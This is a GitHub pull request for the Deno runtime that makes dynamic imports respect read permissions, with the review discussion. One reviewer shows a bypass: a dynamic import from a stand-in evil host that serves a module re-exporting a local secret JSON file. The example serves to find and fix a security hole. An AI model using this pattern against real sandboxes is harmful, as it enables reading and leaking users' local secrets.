Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Dynamic import should respect permissions #2764

Merged
merged 3 commits into from Aug 13, 2019

Conversation

@ry
Copy link
Collaborator

commented Aug 12, 2019

Fixes #2761

cc @kevinkassimo

@ry ry requested a review from piscisaureus Aug 12, 2019

@piscisaureus

This comment has been minimized.

Copy link
Collaborator

commented Aug 12, 2019

But what about indirect dynamic imports?

I think I can still bypass the --allow-read check:

await import('http://bert.is.evil/import_local.js');

And then I host import_local.js on bert.is.evil:

export * from 'file:///home/bert/juicy_secret.json';

That's because only the top-level dynamic import is checked for permissions, and its submodules don't go through the normal import machinery.

@ry

This comment has been minimized.

Copy link
Collaborator Author

commented Aug 12, 2019

@piscisaureus I believe I've fixed that problem now. See tests/error_016_dynamic_import_permissions2

@kevinkassimo

This comment has been minimized.

Copy link
Contributor

commented Aug 12, 2019

LGTM for this PR, though I do start to think if the capability of importing JSON with static import is also problematic at times. It is totally possible for people to deduce file locations with common system hierarchy (e.g. under /etc).

I feel like maybe we should also add a --no-json-import flag, or somehow find a way to ban remote files from importing from local filesystem (which is very likely to be doing no good) (seems just banning file:// or absolute import would work Needs double check)

@ry

This comment has been minimized.

Copy link
Collaborator Author

commented Aug 12, 2019

maybe we should also add a --no-json-import flag

Eh - this seems too specific and I don't think it's necessary either.

somehow find a way to ban remote files from importing from local filesystem (which is very likely to be doing no good)

I agree. Certainly this isn't allowed in browsers? I've added an issue for this #2768

@teleclimber

This comment has been minimized.

Copy link

commented Aug 12, 2019

I do start to think if the capability of importing JSON with static import is also problematic at times. It is totally possible for people to deduce file locations with common system hierarchy (e.g. under /etc).

Definitely. I seems to me it does not matter whether an import is static or dynamic. If you're reading it you need an allow-read permission. Period.

@ry ry force-pushed the ry:dyn_import_permissions branch from d14112f to 7f680d0 Aug 13, 2019

@ry ry force-pushed the ry:dyn_import_permissions branch from 7f680d0 to 72d44ee Aug 13, 2019

ry added 2 commits Aug 13, 2019
self.check_read(&filename)?;
Ok(())
}
_ => Err(permission_denied()),

This comment has been minimized.

Copy link
@piscisaureus

piscisaureus Aug 13, 2019

Collaborator

A "unsupported import url" or something error would be more appropriate here.

@ry ry merged commit 1f8b1a5 into denoland:master Aug 13, 2019

3 checks passed

Travis CI - Pull Request Build Passed
Details
continuous-integration/appveyor/pr AppVeyor build succeeded
Details
license/cla Contributor License Agreement is signed.
Details
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
4 participants
You can’t perform that action at this time.